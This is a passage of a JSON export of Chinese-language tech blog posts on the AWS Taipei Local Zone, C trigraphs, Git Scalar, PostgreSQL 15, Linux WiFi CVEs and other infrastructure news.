Zones include T3, C5, M5, R5, and G4dn instances in select sizes, along with General Purpose SSD (gp2) EBS volumes.</blockquote>\r\n\r\n不過這邊有不一致的地方：在 AWS 頁面上是寫 T3 是 upcoming，但 Jeff Barr 的公告則是說可以用 T3，這點晚點來測試看看才知道哪個是對的... 因為我現在連 <code>m5.large</code> 也開不起來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PuB3veS.webp\" /><img src=\"https://i.gslin.com/imgur/PuB3veS.png\" alt=\"\" /></picture>\r\n\r\n只要把設定換到東京的 subnet 內就正常，這個錯誤訊息實在是不知道發生什麼事情 (已經設 <code>gp2</code>)，還得繼續摸...",
    "title": "AWS 的台北區 (Local Zone) 開了"
  },
  {
    "id": "10905",
    "body": "前面在「<a href=\"https://blog.gslin.org/archives/2022/10/06/10903/aws-%e7%9a%84%e5%8f%b0%e5%8c%97%e5%8d%80-local-zone-%e9%96%8b%e4%ba%86/\">AWS 的台北區 (Local Zone) 開了</a>」這邊有提到機器開不起來，剛剛查價錢的時候才發現只能開 <code>{c5,g4dn,m5,r5}.2xlarge</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7FgxwDN.webp\" /><img src=\"https://i.gslin.com/imgur/7FgxwDN.png\" alt=\"\" /></picture>\r\n\r\n改成 <code>c5.2xlarge</code> 然後就開起來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JqqAFCb.webp\" /><img src=\"https://i.gslin.com/imgur/JqqAFCb.png\" alt=\"\" /></picture>\r\n\r\n翻了目前所有的 local zone，看起來大多都是類似的情況，選擇性會很少... 目前只有邁阿密與洛杉磯的選擇比較多，這是邁阿密：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xyy96Kn.webp\" /><img src=\"https://i.gslin.com/imgur/Xyy96Kn.png\" alt=\"\" /></picture>\r\n\r\n這是洛杉磯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1PCr3vQ.webp\" /><img src=\"https://i.gslin.com/imgur/1PCr3vQ.png\" alt=\"\" /></picture>\r\n\r\n這樣目前要拿來當 VPS 取代品還不太好用，就真的是 local zone 的定位。",
    "title": "目前 AWS 台北區只能開 *.2xlarge 的機器"
  },
  {
    "id": "10906",
    "body": "在「<a href=\"https://blog.gslin.org/\">目前 AWS 台北區只能開 *.2xlarge 的機器</a>」這邊把機器開起來了，所以先測一下 <a href=\"https://aws.amazon.com/\">AWS</a> 台北區對台灣各家的 ISP 的網路狀況。\r\n\r\n先看台灣內的點，看起來都有 peering，用 IP 測可以看到 latency 都很低：\r\n\r\n<ul>\r\n\t<li>1.1.1.1 (<a href=\"https://www.cloudflare.com/\">Cloudflare</a>)</li>\r\n\t<li>8.8.8.8 (<a href=\"https://www.google.com/\">Google</a>)</li>\r\n\t<li>168.95.1.1 (<a href=\"https://www.hinet.net/\">HiNet</a>)</li>\r\n\t<li>139.175.1.1 (<a href=\"https://www.fetnet.net/\">遠傳</a>)</li>\r\n\t<li>61.31.1.1 (<a href=\"https://www.twmsolution.com/\">台灣固網</a>)</li>\r\n\t<li>140.112.2.2 (<a href=\"https://www.ntu.edu.tw/\">台大</a>)</li>\r\n</ul>\r\n\r\n再來試看海外 internet 的部份，美國蠻多點是從東京 AWS 過去，但測了香港的部份 <a href=\"https://www.three.com.hk/\">www.three.com.hk</a>，是從 <a href=\"https://www.tpix.net.tw/\">TPIX</a> 換出去，看起來台灣這邊也有一些出口，peering 與 transit 目前沒看到大問題。\r\n\r\n但幾乎所有透過 GeoDNS-based 的查詢都會被丟到東京：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.fetnet.net/\">www.fetnet.net</a> (要注意遠傳的官網是用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>...)</li>\r\n\t<li><a href=\"https://blog.gslin.org/\">blog.gslin.org</a> (CloudFront)</li>\r\n\t<li><a href=\"https://www.facebook.com/\">www.facebook.com</a></li>\r\n\t<li><a href=\"https://www.apple.com/\">www.apple.com</a> (<a href=\"https://www.akamai.com/\">Akamai</a>)</li>\r\n\t<li><a href=\"https://www.amazon.com/\">www.amazon.com</a> (也是 Akamai)</li>\r\n\t<li><a href=\"https://www.google.com/\">www.google.com</a></li>\r\n</ul>\r\n\r\n走 anycast 的 Cloudflare 就好不少，像是付費版本的 <a href=\"https://www.plurk.com/\">www.plurk.com</a> 就是台北的 PoP，而免費版本的 <a href=\"https://wiki.gslin.org/\">wiki.gslin.org</a> 也會丟到亞洲的某個點上？(看不出來是不是東京，出現 jtha 這個有點像是日本，但也有可能是泰國的點？)\r\n\r\n這應該主要還是因為這段 IP 目前還是被認到東京的 <code>ap-northeast-1</code> 上，得等各家調整才有機會放到台灣的 PoP 上，不然就是要故意用沒有 <a href=\"https://en.wikipedia.org/wiki/EDNS_Client_Subnet\">EDNS Client Subnet</a> 的 DNS resolver 了。",
    "title": "AWS 台北區的網路狀況 (Routing & CDN 的情況)"
  },
  {
    "id": "10908",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這個奇怪的知識：「<a href=\"https://news.ycombinator.com/item?id=33101401\">What does the ??!??! operator do in C? (stackoverflow.com)</a>」，原文在 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 上：「<a href=\"https://stackoverflow.com/questions/7825055/what-does-the-operator-do-in-c\">What does the ??!??! operator do in C?</a>」。\r\n\r\n這是 <a href=\"https://en.wikipedia.org/wiki/Digraphs_and_trigraphs#C\">trigraph</a>，在 <a href=\"https://en.wikipedia.org/wiki/ANSI_C#C89\">C89</a> 就有了，從 <a href=\"https://www.open-std.org/jtc1/sc22/wg14/www/docs/n897.pdf\">Rationale for International Standard—Programming Languages—C</a> 這邊的 5.2.1.1 可以看到 trigraph 的歷史原因：\r\n\r\n<blockquote>Trigraph sequences were introduced in C89 as alternate spellings of some characters to allow the implementation of C in character sets which do not provide a sufficient number of non-alphabetic graphics</blockquote>\r\n\r\n而且是強制要求實做：\r\n\r\n<blockquote>Implementations are required to support these alternate spellings, even if the character set in use is ASCII, in order to allow transportation of code from systems which must use the trigraphs. AMD1 also added digraphs (see §6.4.6 and §MSE.4).</blockquote>\r\n\r\n其中遇到的問題就是當年得決定 C 可以用的 charset，得考慮到很多不同機器 charset 相容性的問題：\r\n\r\n<blockquote>The C89 Committee faced a serious problem in trying to define a character set for C. Not all of the character sets in general use have the right number of characters, nor do they support the graphical symbols that C users expect to see. For instance, many character sets for languages other than English resemble ASCII except that codes used for graphic characters in ASCII are instead used for alphabetic characters or diacritical marks. C relies upon a richer set of graphic characters than most other programming languages, so the representation of programs in character sets other than ASCII is a greater problem than for most other programming languages.</blockquote>\r\n\r\n然後就使用了 <a href=\"https://en.wikipedia.org/wiki/ISO/IEC_646\">ISO/IEC 646</a> 這個標準 (要記得 <a href=\"https://en.wikipedia.org/wiki/Unicode\">Unicode</a> 1.0.0 是 1991 年才出現)：\r\n\r\n<blockquote>The solution is an internationally agreed-upon repertoire in terms of which an international representation of C can be defined. ISO has defined such a standard, ISO/IEC 646, which describes an invariant subset of ASCII.</blockquote>\r\n\r\n<blockquote>The characters in the ASCII repertoire used by C and absent from the ISO/IEC 646 invariant repertoire are:\r\n\r\n<code>[ ] { } \\ | ~ ^</code></blockquote>\r\n\r\n後面就是定義 <code>??</code> 當作 escape digraph。\r\n\r\n算是一個歷史產物，現在不太需要用到了...",
    "title": "C 語言裡面的 ??! 符號"
  },
  {
    "id": "10909",
    "body": "在「<a href=\"https://github.blog/2022-10-03-highlights-from-git-2-38/\">Highlights from Git 2.38</a>」這邊有介紹 <a href=\"https://git-scm.com/\">Git</a> 2.38 加入了微軟開發的 <a href=\"https://github.com/microsoft/scalar\">Scalar</a>，是一個用來管理大量 repository 以及巨大 repository 的工具。\r\n\r\n第一次用 <code>scalar register</code> 看起來會先有一些前置作業，在掛 repository 進去的時候就會自動去註冊 timers：\r\n\r\n<pre>Created symlink /home/gslin/.config/systemd/user/timers.target.wants/git-maintenance@hourly.timer → /home/gslin/.config/systemd/user/git-maintenance@.timer.\r\nCreated symlink /home/gslin/.config/systemd/user/timers.target.wants/git-maintenance@daily.timer → /home/gslin/.config/systemd/user/git-maintenance@.timer.\r\nCreated symlink /home/gslin/.config/systemd/user/timers.target.wants/git-maintenance@weekly.timer → /home/gslin/.config/systemd/user/git-maintenance@.timer.</pre>\r\n\r\n這樣看起來應該是每個小時會跑一些東西？文件上看起來是會在背景先去拉一些東西，還有定時跑 GC？\r\n\r\n接下來就是把目錄下所有的 git repository 丟進去：\r\n\r\n<pre>find . -maxdepth 1 -mindepth 1 -type d | xargs -n1 -I% bash -c \"cd %; scalar register\"</pre>\r\n\r\n然後可以用 <code>scalar list</code> 看到目前掛了哪些 repository。",
    "title": "用 Git 2.38 內建的 Scalar 管理大量的 repository"
  },
  {
    "id": "10910",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2022/10/04/10900/%e7%94%a8%e6%83%85%e8%b6%a3%e7%94%a8%e5%93%81%e5%9c%a8%e8%a5%bf%e6%b4%8b%e6%a3%8b%e6%af%94%e8%b3%bd%e8%a3%a1%e9%9d%a2%e5%82%b3%e9%81%9e%e6%91%a9%e6%96%af%e9%9b%bb%e7%a2%bc%e4%bd%9c%e5%bc%8a/\">用情趣用品在西洋棋比賽裡面傳遞摩斯電碼作弊</a>」這篇裡面有提到目前對 <a href=\"https://en.wikipedia.org/wiki/Hans_Niemann\">Hans Niemann</a> 的調查都還在進行，現在 <a href=\"https://en.wikipedia.org/wiki/Chess.com\">Chess.com</a> 先丟出調查報告了：「<a href=\"https://www.chess.com/blog/CHESScom/hans-niemann-report\">Hans Niemann Report</a>」，另外 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=33088332\">The Full Chess Cheating Report of Hans Neiman (chess.com)</a>」。\r\n\r\nPDF 的 summary 開頭就提到分析了線上的對奕記錄作弊的比率比起 Hans Niemann 所承認的高很多：\r\n\r\n<blockquote>We present evidence in this report that Hans likely cheated online much more than his public statements suggest. However, while Hans has had a record-setting and remarkable rise in rating and strength, in our view there is a lack of concrete statistical evidence that he cheated in his game with Magnus or in any other over-the-board (“OTB”)—i.e., in-person—games. We are presenting our findings here and will cooperate with FIDE on any further investigation.</blockquote>\r\n\r\n除了棋局上的記錄，在後面「How Cheat Detection Works」這個章節也提到了很多額外的 event log，像是視窗切換之類的資訊。\r\n\r\n然後 Chess.com 也宣佈撤回賽事邀請，並且停權：\r\n\r\n<blockquote>We uninvited Hans from our upcoming major online event and revoked his access to our site based on our experience with him in the past, growing suspicions among top players and our team about his rapid rise of play, the strange circumstances and explanations of his win over Magnus, as well as Magnus’ unprecedented withdrawal. In order to have more time to investigate the OTB situation and our own internal concerns, we uninvited Hans from our event and prevented his access to Chess.com. We are open to continuing a dialogue with Hans to discuss his status on Chess.com.</blockquote>\r\n\r\n先有一個組織跳出來下刀了...",
    "title": "對西洋棋選手 Hans Niemann 的調查"
  },
  {
    "id": "10913",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=33053537\">TV backlight compensation (2020) (lofibucket.com)</a>」這個，原文是 2020 年的文章「<a href=\"https://www.lofibucket.com/articles/tv_backlight_compensation.html\">TV backlight compensation</a>」，作者拿到一台不用錢的電視機，但這台電視機的背光已經老化了，發光亮度不平均，大概是這樣的情況：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/o4WOfB6.webp\" /><img src=\"https://i.gslin.com/imgur/o4WOfB6.jpg\" alt=\"\" /></picture>\r\n\r\n把電視機的背光問題當作是一個函數 f(x)，然後把翻拍產生的亮度差當作是 g(x)，目標是要找出 f(x) 的反函數 f<sup>-1</sup>(x)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CQ8hl1O.webp\" /><img src=\"https://i.gslin.com/imgur/CQ8hl1O.jpg\" alt=\"\" /></picture>\r\n\r\n然後從作者的程式碼與解釋可以看出來不是針對每個 pixel 都單獨調整，而是全部套用同一個公式，然後目標是針對黑白畫面去調整：\r\n\r\n<blockquote>The whole point of this exercise was to make black-and-white movies look better.</blockquote>\r\n\r\n透過軟體的修正可以得到下面這樣的結果，其中左上角是原圖，右上角是這張圖在電視上翻拍出來的樣子；左下角是運算後修正的圖，右下角是這張修正後的圖在電視上翻拍出來的樣子；可以看到修正後的不平均感少了一些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/clrb8GQ.webp\" /><img src=\"https://i.gslin.com/imgur/clrb8GQ.jpg\" alt=\"\" /></picture>\r\n\r\n作者是把這個修正掛到 <a href=\"https://sourceforge.net/projects/mpcbe/\">MPC-BE</a> 上面，但 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面有人提到也可以實做 <a href=\"https://www.gnome.org/\">Gnome</a> 的版本，直接讓整個 OS 都可以套用：「<a href=\"https://github.com/Hello1024/gse-shader\">Hello1024/gse-shader</a>」。\r\n\r\n有點拼但還蠻有趣的東西 XD",
    "title": "用軟體降低電視背光老化現象產生的不平均"
  },
  {
    "id": "10915",
    "body": "<a href=\"https://canonical.com/\">Canonical</a> 推出了 <a href=\"https://ubuntu.com/pro\">Ubuntu Pro</a>，個人用戶以及小型商業用戶可以免費安裝在五台機器上使用：「<a href=\"https://ubuntu.com//blog/ubuntu-pro-beta-release\">Canonical launches free personal Ubuntu Pro subscriptions for up to five machines</a>」。\r\n\r\n這次是 public beta，這代表進到正式版本的時候也許還會有變化：\r\n\r\n<blockquote>Ubuntu Pro, the expanded security maintenance and compliance subscription, is now offered in public beta for data centres and workstations.</blockquote>\r\n\r\n這次推出的 Ubuntu Pro 看起來包括了 <a href=\"https://ubuntu.com/security/esm\">ESM</a> (但這邊沒有提到 ESM，而是提到了十年的安全更新)；除了 ESM 以外，包括了更多 package 的安全更新，一併提供十年：\r\n\r\n<blockquote>Ubuntu Pro (currently in public beta) expands our famous ten-year security coverage to an additional 23,000 packages beyond the main operating system.\r\n\r\nIncluding Ansible, Apache Tomcat, Apache Zookeeper, Docker, Drupal, Nagios, Node.js, phpMyAdmin, Puppet, PowerDNS, Python 2, Redis, Rust, WordPress, and many more...</blockquote>\r\n\r\n不過看起來的確就是將 ESM 擴大，這點在 Ubuntu Pro 的價錢的頁面上「<a href=\"https://ubuntu.com/pricing/pro\">Ubuntu Pro | plans and pricing</a>」可以看到有提到 ESM。\r\n\r\n但要注意 14.04 雖然有 ESM (照時程表算的話會支援到 2024 年)，卻不在這次 Ubuntu Pro 提供的範圍，這次推出的 Ubuntu Pro 是 16.04 以及之後的版本才有：\r\n\r\n<blockquote>Ubuntu Pro is available for every Ubuntu LTS from 16.04 LTS. It is already in production for large-scale customers offering global services.</blockquote>\r\n\r\n然後本來的 Ubuntu Advantage for Infrastructure 這條產品線改名為 Ubuntu Pro (Infra-only)：\r\n\r\n<blockquote>Ubuntu Advantage for Infrastructure is now rebranded to Ubuntu Pro (Infra-only). The features and price have not changed.</blockquote>\r\n\r\n目前手上沒有 16.04 的機器，等明年 2023 看看 18.04 的機器有沒有換到 20.04/22.04，如果沒有的話也許可以來玩看看...",
    "title": "Canonical 推出 Ubuntu Pro"
  },
  {
    "id": "10916",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到有日本人在測 <a href=\"https://www.starlink.com/\">Starlink</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"ja\" dir=\"ltr\"><a href=\"https://twitter.com/hashtag/starlink?src=hash&amp;ref_src=twsrc%5Etfw\">#starlink</a> 日本でサービス開始。皆さん気になる速度情報！<br>東京23区で50Mbps位出てますね、レーテンシーも34ms悪くないw <a href=\"https://t.co/muij5hv7EL\">pic.twitter.com/muij5hv7EL</a></p>&mdash; Ken (玉川憲) (@KenTamagawa) <a href=\"https://twitter.com/KenTamagawa/status/1579719363850276864?ref_src=twsrc%5Etfw\">October 11, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n搜新聞看到開台了：「<a href=\"https://asia.nikkei.com/Business/Telecommunication/Elon-Musk-s-Starlink-launches-satellite-internet-service-in-Japan\">Elon Musk's Starlink launches satellite internet service in Japan</a>」，然後費用大概是因為還沒有調整匯率的關係，稍微比美國的 US$110/mo 低一些：\r\n\r\n<blockquote>SpaceX made the announcement on its official Twitter page. According to its official website, the monthly service fee is 12,300 yen ($84) on top of hardware costs of 73,000 yen.</blockquote>\r\n\r\n不過官網上看起來不是全區，只有本州的東半部，包括東京：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lzboDDK.webp\" /><img src=\"https://i.gslin.com/imgur/lzboDDK.png\" alt=\"\" /></picture>\r\n\r\n從回報的 routing 看起來 latency 還行？東京 30ms，新加坡 130ms... 這樣對於偏遠山區沒有佈建高速網路的，也許可以考慮用用看？",
    "title": "Starlink 在亞洲的第一個點開台了：日本"
  },
  {
    "id": "10917",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=33124631\">Cassandra at Apple: 1000s of Clusters, 300k Nodes, 100 PB (twitter.com/erickramirezau)</a>。原文在 <a href=\"https://twitter.com/\">Twitter</a> 上：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Wait for it... <a href=\"https://twitter.com/cassandra?ref_src=twsrc%5Etfw\">@Cassandra</a> ?️ at <a href=\"https://twitter.com/Apple?ref_src=twsrc%5Etfw\">@Apple</a> ? = thousands of clusters + 100s PB of data + 300K nodes + millions of QPS. <a href=\"https://twitter.com/cscotta?ref_src=twsrc%5Etfw\">@cscotta</a> teases the audience <a href=\"https://twitter.com/ApacheCon?ref_src=twsrc%5Etfw\">@ApacheCon</a> with the size of their environment. ?<a href=\"https://twitter.com/hashtag/ACNA2022?src=hash&amp;ref_src=twsrc%5Etfw\">#ACNA2022</a> <a href=\"https://twitter.com/hashtag/ApacheCassandra?src=hash&amp;ref_src=twsrc%5Etfw\">#ApacheCassandra</a> <a href=\"https://t.co/ZiBIleaDL9\">pic.twitter.com/ZiBIleaDL9</a></p>&mdash; Erick Ramirez (@erickramirezau) <a href=\"https://twitter.com/erickramirezau/status/1578063811495477248?ref_src=twsrc%5Etfw\">October 6, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n有些數字有點對不太起來，裡面提到 300K nodes + millions of QPS，但通常讀寫都算 QPS，這樣聽起來很少？所以有種可能這邊是只有算 read 的部份...\r\n\r\n另外照片裡面提到 Over two petabytes per cluster，但有 thousands of clusters，最後卻只有 Hundreds of petabytes of data，完全對不上，就算當作平均值來算也對不上，只能猜測是最大的 cluster 而不是 per cluster。\r\n\r\n裡面矛盾的地方太多，所以這些數字基本上沒有參考價值，現在能讀出來的只知道 <a href=\"https://www.apple.com/\">Apple</a> 有在用 <a href=\"https://cassandra.apache.org/\">Cassandra</a>，然後不是少少幾台 PoC 等級的使用。",
    "title": "Apple 使用 Cassandra 的量"
  },
  {
    "id": "10918",
    "body": "<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 15 出了：「<a href=\"https://www.postgresql.org/about/news/postgresql-15-released-2526/\">PostgreSQL 15 Released!</a>。\r\n\r\n先前提到過「<a href=\"https://blog.gslin.org/archives/2022/02/08/10532/postgresql-15-%E5%B0%87%E5%8F%AF%E4%BB%A5%E5%B0%8D%E9%80%8F%E9%81%8E-unique-%E9%99%90%E5%88%B6-null-%E7%9A%84%E5%94%AF%E4%B8%80%E6%80%A7%E4%BA%86/\">PostgreSQL 15 將可以對透過 UNIQUE 限制 NULL 的唯一性了</a>」，反而沒排上這次 release 的重點，翻了一下的確是排不太上 XD\r\n\r\n第一個超大的改善是 sorting：\r\n\r\n<blockquote>In this latest release, PostgreSQL improves on its in-memory and on-disk sorting algorithms, with benchmarks showing speedups of 25% - 400% based on which data types are sorted.</blockquote>\r\n\r\n在「<a href=\"https://www.citusdata.com/blog/2022/05/19/speeding-up-sort-performance-in-postgres-15/\">Speeding up sort performance in Postgres 15</a>」這邊有提到四個改動，裡面很詳細的說明了改動的內容，以及 benchmark 差異。\r\n\r\n如果以他列出來的四個進展，應該是第二個「Reduce memory consumption by using generation memory context」這個會最容易遇到，也改善最多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/heTB9Ig.webp\" /><img src=\"https://i.gslin.com/imgur/heTB9Ig.png\" alt=\"\" /></picture>\r\n\r\n另外是第三個「Add specialized sort routines for common datatypes」也會有一些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y2j6UVa.webp\" /><img src=\"https://i.gslin.com/imgur/Y2j6UVa.png\" alt=\"\" /></picture>\r\n\r\n再來是拿 PostgreSQL 當 OLAP engine 用的時候會發生的第四個「Replace polyphase merge algorithm with k-way merge」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mYskiCW.webp\" /><img src=\"https://i.gslin.com/imgur/mYskiCW.png\" alt=\"\" /></picture>\r\n\r\n最開頭第一個「Improvements sorting a single column」的 <code>SELECT col1 FROM tab ORDER BY col1;</code> 這種 case 好像用的很少，限制 <code>SELECT</code> 的部份也只能出現後面 sorting 的 column，但如果遇到的話效能提昇很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Axw9NUv.webp\" /><img src=\"https://i.gslin.com/imgur/Axw9NUv.png\" alt=\"\" /></picture>\r\n\r\n除了 sorting 的改善以外，另外一個是 WAL 支援 <a href=\"https://en.wikipedia.org/wiki/LZ4_(compression_algorithm)\">LZ4</a> 與 <a href=\"https://en.wikipedia.org/wiki/Zstd\">zstd</a>，這對於有寫入量很大的環境應該會有幫助：\r\n\r\n<blockquote>PostgreSQL 15 adds support for LZ4 and Zstandard (zstd) compression to write-ahead log (WAL) files, which can have both space and performance benefits for certain workloads.</blockquote>\r\n\r\n正式版出來後，應該會有一些整體性的 benchmark 數字可以看，再來等著看...",
    "title": "PostgreSQL 15 釋出"
  },
  {
    "id": "10919",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 無線網路的 <a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">RCE</a> 漏洞：「<a href=\"https://lwn.net/Articles/911062/\">Some remotely exploitable kernel WiFi vulnerabilities</a>」，mailing list 的信件是這邊：「<a href=\"https://lwn.net/ml/oss-security/20221013101046.GB20615@suse.de/\">[oss-security] Various Linux Kernel WLAN security issues (RCE/DOS) found</a>」。\r\n\r\n裡面題到了五個漏洞，其中屬於 RCE 的是這三個：\r\n\r\n<ul>\r\n\t<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2022-41674\">CVE-2022-41674</a>: fix u8 overflow in cfg80211_update_notlisted_nontrans (max 256 byte overwrite) (RCE)</li>\r\n\t<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2022-42719\">CVE-2022-42719</a>: wifi: mac80211: fix MBSSID parsing use-after-free use after free condition (RCE)</li>\r\n\t<li><a href=\"https://nvd.nist.gov/vuln/detail/CVE-2022-42720\">CVE-2022-42720</a>: wifi: cfg80211: fix BSS refcounting bugs ref counting use-after-free possibilities (RCE)</li>\r\n</ul>\r\n\r\n第一個只寫「An issue was discovered in the Linux kernel through 5.19.11.」，但討論上看到說應該是 5.1+，第二個在 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 裡面有提到是 5.2+，第三個是 5.1+。然後已經有看到 PoC code 了...\r\n\r\n對於用 Linux 筆電的人得等各家 distribution 緊急出更新；但有些無線網路設備不知道怎麼辦...",
    "title": "Linux 無線網路的 RCE 洞"
  },
  {
    "id": "10920",
    "body": "看到「<a href=\"https://github.com/bulwarkid/virtual-fido\">Virtual FIDO</a>」這個專案，用軟體模擬 <a href=\"https://en.wikipedia.org/wiki/FIDO2_Project\">FIDO2</a> 裝置：\r\n\r\n<blockquote>Virtual FIDO is a virtual USB device that implements the FIDO2/U2F protocol (like a YubiKey) to support 2FA and WebAuthN.</blockquote>\r\n\r\n就安全性來說有點本末倒置，畢竟硬體確保了 secret 無法被軟體直接搬走，而這個軟體模擬的方式就沒辦法了，這個專案比較像是實驗示範性質...\r\n\r\n翻了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有人提到這個問題：「<a href=\"https://news.ycombinator.com/item?id=32881956\">Show HN: A virtual Yubikey device for 2FA/WebAuthN (github.com/bulwarkid)</a>」，但也有提到「<a href=\"https://github.com/psanford/tpm-fido\">tpm-fido</a>」這個專案，用 <a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\">TPM</a> 來保護：\r\n\r\n<blockquote>tpm-fido is FIDO token implementation for Linux that protects the token keys by using your system's TPM. tpm-fido uses Linux's uhid facility to emulate a USB HID device so that it is properly detected by browsers.</blockquote>\r\n\r\n這個至少有一點保護，但還是不像實體的 YubiKey 那樣會需要碰一下才認證。",
    "title": "軟體模擬 FIDO2 裝置"
  },
  {
    "id": "10921",
    "body": "上個月 <a href=\"https://aws.amazon.com/\">AWS</a> 發的公告，其實已經生效了，但整理的時候才發現還沒寫：「<a href=\"https://aws.amazon.com/blogs/security/amazon-introduces-dynamic-intermediate-certificate-authorities/\">Amazon introduces dynamic intermediate certificate authorities</a>」。\r\n\r\n先介紹一下 Amazon CA，這是 <a href=\"https://www.amazon.com/\">Amazon</a> 自己維護的 <a href=\"https://en.wikipedia.org/wiki/Root_certificate\">Root CA</a>，有走過 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 的規範與稽核，以及各家瀏覽器額外的要求，所以是個用戶端預設都有信任的 CA。\r\n\r\n這個服務後來也被用在 <a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager</a> (ACM) 上，由 ACM 申請到的憑證也都可以掛到 AWS 的各種服務上。\r\n\r\n通常 root CA 的憑證不會直接拿來簽最終使用者使用的憑證 (leaf certificate)，而是 root CA 的憑證先簽 intermediate CA 的憑證，然後 intermediate CA 可能有好幾層一路簽下來，到最後面再用 intermediate CA 的憑證簽最終使用者使用的憑證。\r\n\r\n這次公告的內容就題到了，之前的 intermediate CA 是一個固定範圍的量，而且會確保 renew 時用的 intermediate CA 跟先前的是相同的：\r\n\r\n<blockquote>Before this change, Amazon maintained a limited number of intermediate CAs and issued and renewed certificates from the same intermediate CAs.</blockquote>\r\n\r\n這次則是會變成動態：\r\n\r\n<blockquote>With this change, leaf certificates issued to you will be signed by different intermediate CAs.</blockquote>\r\n\r\n生效日期是這個月十一日，其實已經生效了：\r\n\r\n<blockquote>Starting October 11, 2022 at 9:00 AM Pacific Time, public certificates obtained through ACM will be issued from one of the multiple intermediate CAs that Amazon manages.</blockquote>\r\n\r\n一般的用戶端 (像是瀏覽器) 基本上應該是不會有問題，因為大多數預設都是信任 root CA，而非 intermediate CA，而這次的改變還是可以從 root CA 產生出對應的 trust chain。\r\n\r\n官方有提到一個有可能的情況：如果你的應用程式有設定 certificate pinning 的話，應該是對 root CA 設定，而非對 intermediate CA 或是 leaf 做：\r\n\r\n<blockquote>If you use intermediate CA information through certificate pinning, you will need to make changes and pin to an Amazon Trust Services root CA instead of an intermediate CA or leaf certificate.</blockquote>\r\n\r\n這個也算通則，因為就 certificate pinning 想要做到的效果，對 root CA 做就就行了...",
    "title": "Amazon CA 在 renew 時將引入動態的 Intermediate CA"
  },
  {
    "id": "10922",
    "body": "月初 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈東京區有 <code>u-12tb1.112xlarge</code> 可以用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/10/amazon-ec2-high-memory-instances-3-6-9-12tib-memory-tokyo-region/\">Amazon EC2 High Memory instances with 3, 6, 9, and 12TiB of memory are now available in Asia Pacific (Tokyo) region</a>」。查了一下 on-demend 的價錢是 $131.733/hr，如果一個月以 720 小時來算，要 $94847.76/mo...\r\n\r\n沒記錯的話，這種機器應該是要另外申請 limit 才能開，沒辦法說測就測。另外在公告裡面有提到 savings plan ，但沒提到 RI (reserved instance)，不確定是不是還沒開 RI 讓使用者買 (不過我記得 savings plan 好像也有類似的折扣結構)：\r\n\r\n<blockquote>Starting today, Amazon EC2 High Memory instances with 3TiB (u-3tb1.56xlarge), 6TiB (u-6tb1.56xlarge, u-6tb1.112xlarge), 9TiB (u-9tb1.112xlarge), and 12TiB of memory (u-12tb1.112xlarge) are available in Asia Pacific (Tokyo) region. Customers can start using these new High Memory instances with On Demand and Savings Plan purchase options.</blockquote>\r\n\r\n這種機器是用暴力解決問題的機器...",
    "title": "AWS 東京區有 12TB 記憶體的機器了"
  },
  {
    "id": "10923",
